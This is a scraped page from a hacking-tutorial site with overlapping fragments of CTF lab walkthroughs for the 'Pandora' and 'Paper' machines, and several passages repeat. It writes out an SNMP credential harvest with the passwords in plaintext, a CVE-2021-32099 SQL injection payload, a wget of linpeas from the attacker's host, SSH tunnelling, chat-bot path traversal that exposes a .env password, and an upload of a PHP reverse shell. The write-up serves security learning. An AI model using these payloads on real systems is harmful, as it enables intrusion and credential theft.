https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbJbPdiNTUmeELwvJAHrw1zkMb926A1K7UNtdX-m6TuzP64-S0NfYp4M_ZRgnD5596Kun3_qNXay0_YWV8fRlNqDvETybuNyORPpNHHLxEk6ixYTNQb95K12gGzCmjPT3tWtyRLrhltbBmJjYc1ct02V9xTBG3YUx0H_QPvXQMXkvFRK1ojyU-0-ZYsQ/s16000/50.png?w=640&ssl=1
We will enumerate community strings and the version with snmp-check.
snmp-check 10.129.26.243
With snmp-check, we have found that SNMPv1 is used, and the community string is public. Now we are in a position to enumerate further based on the community strings and the version. For that, we will use snmpwalk.
snmpwalk -c public -v1 10.129.26.243
Snmpwalk has given an interesting finding here, if we scroll down, we will see there a username daniel and password HotelBabylon23 is there. From here, we can think about login in via SSH as SSH port is open and we can test with found credentials.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz5_wXSsESof1EcSHqAeEVVLcP3K4o5P1XNUJTug5twycEhpeG-FaTZV0BlNN5PANFDr7kuDkE8A1s5GnFkzDP3k6qKqu3p9E5GI5yXHQp4F6bmgcCdJtXoTy0153MA32MDu2xxiQQgU3Yx6pvXA6oZXaJ5t_hLsvWfJfvFbTzUgXmE_yKWHwFRY_0IA/s16000/4.png?w=640&ssl=1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIzhQc0atLMGu29RRqRXWw4aBoit3DSKfIscJ_nkVseoLGm7OfR9_TdUigJLJYiN9UMaOn1YtcnBVsSJlJ7Ct5h-3-Zd6wxg8XYvpYzOA8KlHj7N9YivOLB7_PIFBoOEBlRdQqDBpHtHnBQyBr0l2VrV1KTXQRR8evLJ20TuPca6M3WGnd8yUeMJ6dVQ/s16000/5.png?w=640&ssl=1 User Shell as DanielWe have successfully logged in as Daniel and tried to retrieve our user flag but unfortunately, we do not have permission to get the user flag as it is belonging to user matt. To retrieve the user flag, we need to compromise matt account then only it is possible to retrieve the flag contents?
ssh daniel@10.129.26.243
cd /home
cd matt
ls
cat user.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNqb2KiKWgPSu5AzLSuu37iyqd7SX6hZqcAWcuzvgBFWcNOvGKta1ayhlQr87k5X-aES_aAuyp3K7ys7U7Kvd3eVBxdXYaL9doeIhERwIPW7sTHI7JG99MED_rY2WBRfQ4tas6wp6gtvYIVj9ZC9ixNx4kkX-A2JoP6Ypf1PG6Hw_ie0-tJPu433z_UA/s16000/6.png?w=640&ssl=1 Horizontal Privilege EscalationHere we need to do a horizontal privilege escalation. There are two types of privilege escalations, one is vertical where we get the user shell and then just need to get root shell but, in our scenario, it does not apply, and we must go through a horizontal way where we need to compromise another user to escalate to root. EnumerationLet’s transfer linpeas and check what it brings to us. Linpeas is an automated script which is useful to find the privilege escalation vectors in the target system. In the below picture we transferred[...]
Hacking Articles Tips Tricks Videos Tutorials
URLs. Your browser uses entries in the /etc/hosts file to override the IP-address-to-URL mapping returned by a DNS server. This is useful for testing DNS (domain name system) changes and the SSL configuration before making a website live. https://i0.wp.c…
chatting. Being a penetration tester always two things come into mind what we have and what else we can do with that. So far, we do not have valid credentials to log in, we accessed the URL that we found after exploitation of the vulnerability earlier.
http://chat.office.papaer/register/8qozr226AhkCHZdyY
Accessing the below URL, we got a register page where we registered as a new user. We created a user named raj and given a fake email address and password to register an account.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzkDenedbBaHOxSDlmv1pb1pb8y_mhBYVQHriqjvVeLnT9exsI7YGdbP0719f5QIA1tl9TqRKgWLw-BYzEiqIR9l6zfXFFUpPMH0Y28ZslmCYbCnq5IiyySP-zYlB30hUHtpI9n9TUKGUQB0MzQ1Acr3zidu89gkmB5JZE0qCAnA3ARtz5uyE_o0EYlg/s16000/11.png?w=640&ssl=1
Rocket Chat CMS Enumeration
We logged in as new user raj into the rocket.chat CMS and read all the conversations of other users from the general channel. There are 3 users and one bot user.
After reading their messages, we found that DwightKSchrute has assigned a bot named recyclops to help other users to answer common queries. Furthermore, he has also mentioned that a user can call bot by typing recyclops help in their chat windows and bot will be there to help them.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEEU1dd4QR9wGJCI_L3JJl783QgBxebsyPm6Qgvc7cTGbbx3K0rcdrJRKUZjWp3SwWlerc_dF-bk66nffjDM4SPsZR9O0g3Ujs7usd4i-Dpw7X-Z6qkCEZadZ_i63MO3IBRWG9wMh3tgFm3qo6CW0wZByWAYBALxIcbaSzDTYvlGbNr2eP5EeAzuAwmw/s16000/12.png?w=640&ssl=1
As we can see in the above picture when someone called bot for the help a default message come into the screen about the bot itself and instructions. If we have closer look into the messages, we can see there are some frequently asked questions. Furthermore, it has a feature to receive answers to our queries directly in our message box as well.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEgd10rxVnNSM2K4MXTUWOekvnuwT3BoYX2QIIvkWRzBj05avvItwspROq0MjhLjjO1rizz4JtJuG0dKg3GZI2HKTCsB1S-_7wtG55-Fu2fGO6NCWGJUG1oVmZaO7gxqsHubcgetG34-KZ9cp61w2EixDJ4Zi_5Wo091MQbVFz8VYg7xcbWE19Yw8QmA/s16000/13.png?w=640&ssl=1
As we have logged in as raj user, which is a new account we created earlier, we are calling recyclops by typing help into the chat window. The same message and instructions came into our chat windows which confirms that recyclops is activated.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbdit1h12akL3NccLMO3oh4ahaVW6iVqp0PUoxok1QUlj3IMWmlxZ7Zh75kKeaFvt5jixppmdRSh39mbX6GQdL1Nohql1zwDGqqVAnxjAG_cZhu4RwNoH-T1OY7e8-fgAZFD140RPRKtPDoeNvW9wiXWXotx4WgXlC_8kkwlsD6bX_7gDhPZDqcjtNwA/s16000/14.png?w=640&ssl=1
When we scroll down to check all the features and services provided by the recyclops. We notice that we can also list the files from some shared directories and get those files with the help of the bot.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8YiHtd_ETA5zTgyBET75s_nlRoDyDoLIL-DL-IO_9Ewb7kbcAOgf3s69FC67asvq-RHsUOcpomRRTW8iLEFm3cuT9EPclYOvyMTRkAF0oa4c5O8R2ZtkPVPH3N8jNwriAYZJzxsHoV_holevK-KZ1cBDaq6SSEN9ehdmmz3D4XH_W9Dr9UwbStXQYyw/s16000/15.png?w=640&ssl=1 Bot Feature AbuseFrom the above message of the bot, we got to know that it has a limited feature set to a particular folder. Recylops can only list and get files from the sales directory only we decided to list what sales directory contains by providing list command in the chat window.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_IKPIqUbENwRUkVAgEeYnUCPstni8o6ew03FDhjOWA5nTwPbtxaSUiqcUdySrnNxxHMj3ip84-kIlkeLY5EJYW1OGARJRxUBBo5LPbAevIzluQXcgPQdBgOCnKj1aMdIfn0QhVYrXZc3CiYb4ydQ17wgXVsEeNwqqmrK3m-IlPfGX3dsDMKyKmdWVMA/s16000/16.png?w=640&ssl=1
From the output, we found that there is a user Dwight present there and a sale folder in the sales directory. Then we decided to enumerate further by going one step back from the sales directory and we got into Dwight home directory. There we saw a non-[...]
http://chat.office.papaer/register/8qozr226AhkCHZdyY
Accessing the below URL, we got a register page where we registered as a new user. We created a user named raj and given a fake email address and password to register an account.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzkDenedbBaHOxSDlmv1pb1pb8y_mhBYVQHriqjvVeLnT9exsI7YGdbP0719f5QIA1tl9TqRKgWLw-BYzEiqIR9l6zfXFFUpPMH0Y28ZslmCYbCnq5IiyySP-zYlB30hUHtpI9n9TUKGUQB0MzQ1Acr3zidu89gkmB5JZE0qCAnA3ARtz5uyE_o0EYlg/s16000/11.png?w=640&ssl=1
Rocket Chat CMS Enumeration
We logged in as new user raj into the rocket.chat CMS and read all the conversations of other users from the general channel. There are 3 users and one bot user.
After reading their messages, we found that DwightKSchrute has assigned a bot named recyclops to help other users to answer common queries. Furthermore, he has also mentioned that a user can call bot by typing recyclops help in their chat windows and bot will be there to help them.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEEU1dd4QR9wGJCI_L3JJl783QgBxebsyPm6Qgvc7cTGbbx3K0rcdrJRKUZjWp3SwWlerc_dF-bk66nffjDM4SPsZR9O0g3Ujs7usd4i-Dpw7X-Z6qkCEZadZ_i63MO3IBRWG9wMh3tgFm3qo6CW0wZByWAYBALxIcbaSzDTYvlGbNr2eP5EeAzuAwmw/s16000/12.png?w=640&ssl=1
As we can see in the above picture when someone called bot for the help a default message come into the screen about the bot itself and instructions. If we have closer look into the messages, we can see there are some frequently asked questions. Furthermore, it has a feature to receive answers to our queries directly in our message box as well.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEgd10rxVnNSM2K4MXTUWOekvnuwT3BoYX2QIIvkWRzBj05avvItwspROq0MjhLjjO1rizz4JtJuG0dKg3GZI2HKTCsB1S-_7wtG55-Fu2fGO6NCWGJUG1oVmZaO7gxqsHubcgetG34-KZ9cp61w2EixDJ4Zi_5Wo091MQbVFz8VYg7xcbWE19Yw8QmA/s16000/13.png?w=640&ssl=1
As we have logged in as raj user, which is a new account we created earlier, we are calling recyclops by typing help into the chat window. The same message and instructions came into our chat windows which confirms that recyclops is activated.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbdit1h12akL3NccLMO3oh4ahaVW6iVqp0PUoxok1QUlj3IMWmlxZ7Zh75kKeaFvt5jixppmdRSh39mbX6GQdL1Nohql1zwDGqqVAnxjAG_cZhu4RwNoH-T1OY7e8-fgAZFD140RPRKtPDoeNvW9wiXWXotx4WgXlC_8kkwlsD6bX_7gDhPZDqcjtNwA/s16000/14.png?w=640&ssl=1
When we scroll down to check all the features and services provided by the recyclops. We notice that we can also list the files from some shared directories and get those files with the help of the bot.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8YiHtd_ETA5zTgyBET75s_nlRoDyDoLIL-DL-IO_9Ewb7kbcAOgf3s69FC67asvq-RHsUOcpomRRTW8iLEFm3cuT9EPclYOvyMTRkAF0oa4c5O8R2ZtkPVPH3N8jNwriAYZJzxsHoV_holevK-KZ1cBDaq6SSEN9ehdmmz3D4XH_W9Dr9UwbStXQYyw/s16000/15.png?w=640&ssl=1 Bot Feature AbuseFrom the above message of the bot, we got to know that it has a limited feature set to a particular folder. Recylops can only list and get files from the sales directory only we decided to list what sales directory contains by providing list command in the chat window.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_IKPIqUbENwRUkVAgEeYnUCPstni8o6ew03FDhjOWA5nTwPbtxaSUiqcUdySrnNxxHMj3ip84-kIlkeLY5EJYW1OGARJRxUBBo5LPbAevIzluQXcgPQdBgOCnKj1aMdIfn0QhVYrXZc3CiYb4ydQ17wgXVsEeNwqqmrK3m-IlPfGX3dsDMKyKmdWVMA/s16000/16.png?w=640&ssl=1
From the output, we found that there is a user Dwight present there and a sale folder in the sales directory. Then we decided to enumerate further by going one step back from the sales directory and we got into Dwight home directory. There we saw a non-[...]
Hacking Articles Tips Tricks Videos Tutorials
rks. It is embedded in multiple local devices such as routers, switches, servers, firewalls, and wireless access points using IP addresses. It runs on UDP protocol and uses port 161 and 162 as its default port. nmap -sU 10.129.26.243 Flags features: -sU:…
linpeas.sh in the target /tmp directory and gave execute permission with chmod 777 and simply executed.
cd /tmp
wget 10.10.14.3/linpeas.sh
chmod 777 linpeas.sh
./linpeas.sh
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieY8gDAt-YQtA5xLQEA7pHD8EqSIan2sbOQ5ZNYDYxmangWH191K4wCrb-dB8TWI-aILbyoK1VFDukN98skvdB6gYYXchGWhr5zqz-F_IseMSyH79Z_YwAIxwvmTAJf-XZevOdf9Jx8rwNyN79jBjBKNs7wftFy6mwvJobhS_Z9SiPJo3pun7ZyHzwng/s16000/6_1.png?w=640&ssl=1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpkT9BtNTPTAopP1c3HZh2aTG-y9FKqv_QyEeAYG4sDddXusJqzBlnk-Ub8YgamgtJQqEvXRwrX13MV9re10xDubJJ21EjF9ibK38SD0vQVJAX-mE5PSgpqJ69iAxxQaX4oTACjxaa0CdmTxtdT1o5HXbpN0IdEJs9u61Tu1nLvDZHlOZzg71SMphZpQ/s16000/6_2.png?w=640&ssl=1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS54nArAAM0A9bfjOkXXTJIoc_WW4ZmDQ8c6ehvTP6iRKGm1f2ZtS1CsV8VuZjTUChPWdykevkGK_FlFgp-1WjvGyWSo8m2xWfgBVBOpIURlbzOpa_n3PmFUigX9G4F_-TfUwF-p4g1acjqeFAcCumE58VGVSJwA61Fes_U9RWmI_khhredSt59GArkA/s16000/6_3.png?w=640&ssl=1
From the linpeas result, we noticed a SUID pandora_backup is there which is an uncommon system binary, so we decided to find out more about it. Owner of this file is root, but matt has execution permission. Also, the web is hosted on an internal server which is only accessible from the internal port which means we cannot access it directly from our Kali machine but if we manage to forward its local host port to our kali machine then we can access it. If we give a closer look at the picture above, pandora.panda.htb is running on port 80 which is hosted from /var/www/pandora. Additionally, we can also assume it by checking the config file in which is available in the /etc/apache2/sites-enabled directory. Port ForwardingAs we know there is a service running on local port 80. We decided to use the local port forwarding technique here. It can be done from kali machine if we have valid credentials.
ssh -L 8084:localhost:80 -N -f -l daniel 10.129.26.243
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhilHFfQkXLNAtfjn9fG6-P8cUJXicHlOsPvjLP2NSeeYpXJ97LKgYq5TRPW0aQxzR3U6E1xxAWpnyBXMpEHwkp4tnCZ99vsgM6J_XRzkAAVA6lUevQhz6OcVnUxFOj4fB37n8pjaOL4mkgJ3_I3qpa-LR-jKCIb8rsS16i0UVPiezmW2DpMq2_SRkyXg/s16000/7.png?w=640&ssl=1
Flags features:
-L : Listening port on Kali
-N : Do not execute any remote command
-f : Run in the background
-l : Username
After local port forwarding, we can access the service which was running on the target internal port. An interesting finding came up and lead us to the pandora login console.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghsy1UZE8TIw4fIUx4ngqaDh6-PuvCsGiB-zoY-Hd9TYmxqJ-reNUDdb5tyQBY8o1UWKQEYMLaEryd30rujCjvfjbBeG2g7n8BVlgfgcEna8l6VXSioLB2dkDw_znkWWcw0KzoKckZghQG-VPIQyhwyMBmakGQQQac9m5_aym9wxKw-0Rdc9Zxhkgy5Q/s16000/8.png?w=640&ssl=1
While enumerating the console we found a CMS with version is there on the right bottom side of the page: v7.0NG.742_FIX_PERL2020.
http://localhost:8084/pandora_console/
After a few searches on google, we found Pandora FMS 742 is vulnerable to SQL injection. Detail information about the vulnerability can be found below: https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained CVE-2021-32099 SQL Injection ExploitationThe blog had detailed information about the vulnerability but no POC or exploit code was available then we search for the CVE number so we can expand and filter our search on google to find out the exact resource that we are looking for. We found CVE-2021-32099 belongs to this vulnerability and found an exploit encoded POC in the Github.
Reference: https://github.com/ibnuuby/CVE-2021-32099
We decoded the URL and tested this payload against the target. Decoded payload:http://localhost:8084/pandora_console/include/chart_generator.php?session_id=a' UNION SELECT 'a',1,'id_usuario|s:5:"admin";' as data FROM tsessions_php WHERE '1'='1
https://i0.wp.com/blogge[...]
cd /tmp
wget 10.10.14.3/linpeas.sh
chmod 777 linpeas.sh
./linpeas.sh
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieY8gDAt-YQtA5xLQEA7pHD8EqSIan2sbOQ5ZNYDYxmangWH191K4wCrb-dB8TWI-aILbyoK1VFDukN98skvdB6gYYXchGWhr5zqz-F_IseMSyH79Z_YwAIxwvmTAJf-XZevOdf9Jx8rwNyN79jBjBKNs7wftFy6mwvJobhS_Z9SiPJo3pun7ZyHzwng/s16000/6_1.png?w=640&ssl=1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpkT9BtNTPTAopP1c3HZh2aTG-y9FKqv_QyEeAYG4sDddXusJqzBlnk-Ub8YgamgtJQqEvXRwrX13MV9re10xDubJJ21EjF9ibK38SD0vQVJAX-mE5PSgpqJ69iAxxQaX4oTACjxaa0CdmTxtdT1o5HXbpN0IdEJs9u61Tu1nLvDZHlOZzg71SMphZpQ/s16000/6_2.png?w=640&ssl=1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS54nArAAM0A9bfjOkXXTJIoc_WW4ZmDQ8c6ehvTP6iRKGm1f2ZtS1CsV8VuZjTUChPWdykevkGK_FlFgp-1WjvGyWSo8m2xWfgBVBOpIURlbzOpa_n3PmFUigX9G4F_-TfUwF-p4g1acjqeFAcCumE58VGVSJwA61Fes_U9RWmI_khhredSt59GArkA/s16000/6_3.png?w=640&ssl=1
From the linpeas result, we noticed a SUID pandora_backup is there which is an uncommon system binary, so we decided to find out more about it. Owner of this file is root, but matt has execution permission. Also, the web is hosted on an internal server which is only accessible from the internal port which means we cannot access it directly from our Kali machine but if we manage to forward its local host port to our kali machine then we can access it. If we give a closer look at the picture above, pandora.panda.htb is running on port 80 which is hosted from /var/www/pandora. Additionally, we can also assume it by checking the config file in which is available in the /etc/apache2/sites-enabled directory. Port ForwardingAs we know there is a service running on local port 80. We decided to use the local port forwarding technique here. It can be done from kali machine if we have valid credentials.
ssh -L 8084:localhost:80 -N -f -l daniel 10.129.26.243
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhilHFfQkXLNAtfjn9fG6-P8cUJXicHlOsPvjLP2NSeeYpXJ97LKgYq5TRPW0aQxzR3U6E1xxAWpnyBXMpEHwkp4tnCZ99vsgM6J_XRzkAAVA6lUevQhz6OcVnUxFOj4fB37n8pjaOL4mkgJ3_I3qpa-LR-jKCIb8rsS16i0UVPiezmW2DpMq2_SRkyXg/s16000/7.png?w=640&ssl=1
Flags features:
-L : Listening port on Kali
-N : Do not execute any remote command
-f : Run in the background
-l : Username
After local port forwarding, we can access the service which was running on the target internal port. An interesting finding came up and lead us to the pandora login console.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghsy1UZE8TIw4fIUx4ngqaDh6-PuvCsGiB-zoY-Hd9TYmxqJ-reNUDdb5tyQBY8o1UWKQEYMLaEryd30rujCjvfjbBeG2g7n8BVlgfgcEna8l6VXSioLB2dkDw_znkWWcw0KzoKckZghQG-VPIQyhwyMBmakGQQQac9m5_aym9wxKw-0Rdc9Zxhkgy5Q/s16000/8.png?w=640&ssl=1
While enumerating the console we found a CMS with version is there on the right bottom side of the page: v7.0NG.742_FIX_PERL2020.
http://localhost:8084/pandora_console/
After a few searches on google, we found Pandora FMS 742 is vulnerable to SQL injection. Detail information about the vulnerability can be found below: https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained CVE-2021-32099 SQL Injection ExploitationThe blog had detailed information about the vulnerability but no POC or exploit code was available then we search for the CVE number so we can expand and filter our search on google to find out the exact resource that we are looking for. We found CVE-2021-32099 belongs to this vulnerability and found an exploit encoded POC in the Github.
Reference: https://github.com/ibnuuby/CVE-2021-32099
We decoded the URL and tested this payload against the target. Decoded payload:http://localhost:8084/pandora_console/include/chart_generator.php?session_id=a' UNION SELECT 'a',1,'id_usuario|s:5:"admin";' as data FROM tsessions_php WHERE '1'='1
https://i0.wp.com/blogge[...]
Hacking Articles Tips Tricks Videos Tutorials
chatting. Being a penetration tester always two things come into mind what we have and what else we can do with that. So far, we do not have valid credentials to log in, we accessed the URL that we found after exploitation of the vulnerability earlier. ht…
standard directory (hubot) present in the Dwight home directory.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKUi0zrKcXzpPnrleTjXVUdVuDC1-vslJWMrG_nVruY7ZKQ8ccYYGkZ0calpgZYaLk28PiHA0ApYT9xV_zi3yQYVsFTYJHJrAEsSbf3bbR29r2ZYeFTiNOLEw5GryuPok9Dv6dGa72rtgMBGtsMUN-KGMT_iTw-QJCOgtgV6kT8Xr4a4rBRkACf8J0hQ/s16000/17.png?w=640&ssl=1
Next, we checked the non-standard directory and listed all the files present in the hubot and notice there is .env file present there. Let’s talk about the environment files in the Linux system and why it is important to enumerate them.
What is env file?
.env files are used to store those variables and they should be written in all uppercase separated with underscores for naming convention. we access those variables through process.env after installing dotnev npm package.
Why it is important to check environment files?
These environment files may contain password in plain taxed format as well as in base64 format. If an attacker found any secrets from this file, then he/she can leverage a user account.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ9KTXy8U0NtSPNTgcSKm6KteH8_U2jxzFFQMAWw37lAaubUMg6tIRDJmA_HWfGZCJgCL0jjPT7A12zhc88qA7ObSTT9nDW833TatC9oGVm0nAWF93bvSEMUekByd9WBGHticCYxgRneVfb9cPvrhZxI1BI4Yj59MWXf_e0KQEwLVvoXbfGAA8Bt-N2Q/s16000/18.png?w=640&ssl=1
Now we know the importance of the environment files in a Linux distribution. Let’s check .env file to test the theory we have discussed above. We can view the file contests by providing directory path and the file name with file command.
file ../hubot/.env
As we can see a plain texted password from the .env file. We got the password but not the username so, from the penetration testing methodology we can check this password against all users that we have seen in the messages. We tested obtained password on SSH service against all users and got success on Dwight.
Username: dwight
Password: Queenofblad3s!23
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilQwsSiUpOqjs59eEf_i8kkzGL_qjLHV5HMniVMxW0coxAe4EzVY7NkVneF9B9VrkVJEf3oDbeMR1VGrq462wOhty2UlQdjh9tyBxyZgWM4jGATuCMHoFMdi6542pnVC5c-h8zFdqQY4Kz-rcDDlS5WFqgZTIjXaXVvAmWQEByaBy6d-qiYqsDjAQopA/s16000/19.png?w=640&ssl=1 User flagWe successfully logged in via SSH as Dwight into the target machine. We can grab the user flag from the user home directory. Also, we need to escalate privilege, so we transferred linpeas script into the target /tmp directory. Please note, we need to setup the python server into our kali machine to transfer the script to the target machine. Also, we have given full permission to the linpeas script to execute it. For more information about Linux file permissions, feel free to visit the below link: https://www.guru99.com/file-permissions.html#:~:text=Linux%20divides%20the%20file%20permissions,ownership%20of%20a%20file%2Fdirectory.
ssh dwight@10.129.74.162
python3 -m http.server 80
wget 10.10.14.12/linpeas.sh
chmod 777 linpeas.sh
./linpeas.sh
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-R3hL-Kzo8T3kNW4gxUPx71lRs4h020ChnU55hHg8nKoBJnUeTF5FgygLbBkWtPKJzA4IuHYpMtXZiIGj48ZX2iJh5izxKl3VdlaOTOa2hcAapBLJeSjS9j5ZFxx4e3ngO6KKI36mZlcqDGcN4murAbTBmibeGf6ah1dpqztS0GFOmjy_jjkAKdM2LA/s16000/20.png?w=640&ssl=1 Privilege EscalationFrom the linpeas output, we saw few CVEs appear as red which means these CVEs could be potential exploits which may help us to escalate privilege to the root account. A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviours, design flaws or oversights in operating systems or web applications. PolicyKit Exploit: CVE-2021-3560After searching those exploits, we found many of them require compiling, so we decided to go with CVE-2021-3560 as all these 3 exploits work similarly based on the target system dependencies. Then we found a nice article about the policy kit exploitation the in the Ha[...]
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKUi0zrKcXzpPnrleTjXVUdVuDC1-vslJWMrG_nVruY7ZKQ8ccYYGkZ0calpgZYaLk28PiHA0ApYT9xV_zi3yQYVsFTYJHJrAEsSbf3bbR29r2ZYeFTiNOLEw5GryuPok9Dv6dGa72rtgMBGtsMUN-KGMT_iTw-QJCOgtgV6kT8Xr4a4rBRkACf8J0hQ/s16000/17.png?w=640&ssl=1
Next, we checked the non-standard directory and listed all the files present in the hubot and notice there is .env file present there. Let’s talk about the environment files in the Linux system and why it is important to enumerate them.
What is env file?
.env files are used to store those variables and they should be written in all uppercase separated with underscores for naming convention. we access those variables through process.env after installing dotnev npm package.
Why it is important to check environment files?
These environment files may contain password in plain taxed format as well as in base64 format. If an attacker found any secrets from this file, then he/she can leverage a user account.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ9KTXy8U0NtSPNTgcSKm6KteH8_U2jxzFFQMAWw37lAaubUMg6tIRDJmA_HWfGZCJgCL0jjPT7A12zhc88qA7ObSTT9nDW833TatC9oGVm0nAWF93bvSEMUekByd9WBGHticCYxgRneVfb9cPvrhZxI1BI4Yj59MWXf_e0KQEwLVvoXbfGAA8Bt-N2Q/s16000/18.png?w=640&ssl=1
Now we know the importance of the environment files in a Linux distribution. Let’s check .env file to test the theory we have discussed above. We can view the file contests by providing directory path and the file name with file command.
file ../hubot/.env
As we can see a plain texted password from the .env file. We got the password but not the username so, from the penetration testing methodology we can check this password against all users that we have seen in the messages. We tested obtained password on SSH service against all users and got success on Dwight.
Username: dwight
Password: Queenofblad3s!23
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilQwsSiUpOqjs59eEf_i8kkzGL_qjLHV5HMniVMxW0coxAe4EzVY7NkVneF9B9VrkVJEf3oDbeMR1VGrq462wOhty2UlQdjh9tyBxyZgWM4jGATuCMHoFMdi6542pnVC5c-h8zFdqQY4Kz-rcDDlS5WFqgZTIjXaXVvAmWQEByaBy6d-qiYqsDjAQopA/s16000/19.png?w=640&ssl=1 User flagWe successfully logged in via SSH as Dwight into the target machine. We can grab the user flag from the user home directory. Also, we need to escalate privilege, so we transferred linpeas script into the target /tmp directory. Please note, we need to setup the python server into our kali machine to transfer the script to the target machine. Also, we have given full permission to the linpeas script to execute it. For more information about Linux file permissions, feel free to visit the below link: https://www.guru99.com/file-permissions.html#:~:text=Linux%20divides%20the%20file%20permissions,ownership%20of%20a%20file%2Fdirectory.
ssh dwight@10.129.74.162
python3 -m http.server 80
wget 10.10.14.12/linpeas.sh
chmod 777 linpeas.sh
./linpeas.sh
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-R3hL-Kzo8T3kNW4gxUPx71lRs4h020ChnU55hHg8nKoBJnUeTF5FgygLbBkWtPKJzA4IuHYpMtXZiIGj48ZX2iJh5izxKl3VdlaOTOa2hcAapBLJeSjS9j5ZFxx4e3ngO6KKI36mZlcqDGcN4murAbTBmibeGf6ah1dpqztS0GFOmjy_jjkAKdM2LA/s16000/20.png?w=640&ssl=1 Privilege EscalationFrom the linpeas output, we saw few CVEs appear as red which means these CVEs could be potential exploits which may help us to escalate privilege to the root account. A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviours, design flaws or oversights in operating systems or web applications. PolicyKit Exploit: CVE-2021-3560After searching those exploits, we found many of them require compiling, so we decided to go with CVE-2021-3560 as all these 3 exploits work similarly based on the target system dependencies. Then we found a nice article about the policy kit exploitation the in the Ha[...]
Hacking Articles Tips Tricks Videos Tutorials
linpeas.sh in the target /tmp directory and gave execute permission with chmod 777 and simply executed. cd /tmp wget 10.10.14.3/linpeas.sh chmod 777 linpeas.sh ./linpeas.sh https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieY8gDAt-YQt…
r.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLPm2BttpxiRiiFelOL2qg9_OettE0vweY5GYciGBeVH46IKJXkb1w4AJ2u_qsHHnO6ko7ojXV5SfxWR3bh4mGRUhRirEyvHLM_OcyVNZKbtB6q0ZaUCnt2InRA9JgEesCf5hidp29TWVwxJ-EkKzEhUEn-5qnm81IYrhIHomwhpz2erGIqsCxJEv1Mw/s16000/9.png?w=640&ssl=1 File UploadWe successfully exploited the admin console and from here we can think about uploading a malicious file so we can get a reverse shell once it is executed. Whenever we come across the admin console, we see most of the time that admin has permission to upload file on CMS, with the same concept we upload a file by navigating admin tools then file manager.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRtTP7hsrSk-nkMUo_m0pzZOwFO3jnNZfz4M5hPSBMBzrxxfO6c_bpcgn9tCBXPgY4ZDp1ei-iEv8IbIp4pZ4ThbW3ZLBBZwf2Rx99JE8ztXaEznQ8cy0dw1uIxxlrLX-us8mrhbnN7FrFO2GqQlo87Lbq8c90mSIbBtx6Ycr4ffAN92tsb7fp5FZXlw/s16000/10.png?w=640&ssl=1
There is an up-arrow tab on the right side of the file manager which will let us upload a malicious file.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrmg5CXWsoYfbMueTLV7lTn13w11GHQmP0zumYaNB2ES6vLqH8fStMlnrPfSrE2iSOQB595UCN5qVU7nZIDht4fVUuEICOt25womcIV8fMHruBC8dgvD-oV15oTXmsWU2jDJHS8DKkDgLfgxyjfEo_r_67H0qF-7oKJeFfalwBtHJYyzsW51VEBHw_2Q/s16000/11.png?w=640&ssl=1
Here we are going to upload a regular Pentest monkey’s PHP reverse shell which comes with the Kali and is available in the /usr/share/webshells/php directory named as php-reverse-shell.php. Next, we will copy this reverse shell to the to root directory and rename as shell.php.
